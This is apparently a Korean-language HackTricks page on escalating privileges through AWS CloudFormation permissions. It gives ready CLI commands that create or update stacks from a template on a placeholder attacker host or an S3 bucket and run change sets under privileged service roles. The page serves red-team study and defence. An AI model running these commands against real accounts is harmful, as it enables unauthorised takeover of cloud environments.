AWS - Cloudformation Privesc

AWS 해킹을 배우고 실습하세요: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹을 배우고 실습하세요: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks 지원하기

cloudformation

cloudformation에 대한 자세한 정보는 다음을 확인하세요:

AWS - CloudFormation & Codestar Enum

iam:PassRole, cloudformation:CreateStack

이 권한을 가진 공격자는 특정 역할의 권한으로 작업을 실행하기 위해 자체 서버에 호스팅된 사용자 정의 템플릿을 사용하여 CloudFormation 스택을 작성함으로써 권한을 상승할 수 있습니다.

aws cloudformation create-stack --stack-name <stack-name> \
--template-url http://attacker.com/attackers.template \
--role-arn <arn-role>

다음 페이지에는 exploitation example이 있습니다. 추가 권한 **cloudformation:DescribeStacks**을 사용한:

iam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks

잠재적인 영향: 지정된 cloudformation 서비스 역할로의 권한 상승.

iam:PassRole, (cloudformation:UpdateStack | cloudformation:SetStackPolicy)

이 경우 기존의 cloudformation 스택을 abuse하여 업데이트하고 이전 시나리오와 같이 권한을 상승시킬 수 있습니다:

aws cloudformation update-stack \
--stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \
--capabilities CAPABILITY_IAM \
--region eu-west-1

cloudformation:SetStackPolicy 권한을 사용하여 스택에 대한 UpdateStack 권한을 부여하고 공격을 수행할 수 있습니다.

잠재적 영향: 지정된 cloudformation 서비스 역할로의 권한 상승.

cloudformation:UpdateStack | cloudformation:SetStackPolicy

이 권한을 가지고 있지만 iam:PassRole이 없는 경우에도 사용된 스택을 업데이트하고 이미 연결된 IAM 역할을 악용할 수 있습니다. 악용 예제는 업데이트에서 어떤 역할도 지정하지 않습니다.

cloudformation:SetStackPolicy 권한을 사용하여 스택에 대한 UpdateStack 권한을 부여하고 공격을 수행할 수 있습니다.

잠재적 영향: 이미 연결된 cloudformation 서비스 역할로의 권한 상승.

iam:PassRole,((cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

역할을 전달하고 ChangeSet을 생성 및 실행할 수 있는 권한이 있는 공격자는 CreateStack 또는 UpdateStack과 마찬가지로 새로운 cloudformation 스택을 생성/업데이트하고 cloudformation 서비스 역할을 악용할 수 있습니다.

다음 악용은 CreateStack의 변형 중 하나인 CreateStack을 사용하여 ChangeSet 권한을 사용하여 스택을 생성하는 것입니다.

aws cloudformation create-change-set \
--stack-name privesc \
--change-set-name privesc \
--change-set-type CREATE \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::947247140022:role/CloudFormationAdmin \
--capabilities CAPABILITY_IAM \
--region eu-west-1

echo "Waiting 2 mins to change the stack"
sleep 120

aws cloudformation execute-change-set \
--change-set-name privesc \
--stack-name privesc \
--region eu-west-1

echo "Waiting 2 mins to execute the stack"
sleep 120

aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1

cloudformation:SetStackPolicy 권한을 사용하여 스택에 대한 ChangeSet 권한을 부여하고 공격을 수행할 수 있습니다.

잠재적 영향: cloudformation 서비스 역할로의 권한 상승.

(cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

이전 방법과 유사하지만 IAM 역할을 전달하지 않고 이미 연결된 역할을 남용할 수 있습니다. 매개변수를 수정하기만 하면 됩니다.

--change-set-type UPDATE

잠재적 영향: 이미 연결된 클라우드포메이션 서비스 역할에 대한 권한 상승.

iam:PassRole,(cloudformation:CreateStackSet | cloudformation:UpdateStackSet)

공격자는 이러한 권한을 남용하여 임의의 클라우드포메이션 역할을 남용하기 위해 StackSets를 생성/업데이트할 수 있습니다.

잠재적 영향: 클라우드포메이션 서비스 역할로의 권한 상승.

cloudformation:UpdateStackSet

공격자는 이 권한을 남용하여 passRole 권한 없이 연결된 클라우드포메이션 역할을 남용하기 위해 StackSets를 업데이트할 수 있습니다.

잠재적 영향: 연결된 클라우드포메이션 역할로의 권한 상승.

참고 자료

Last updated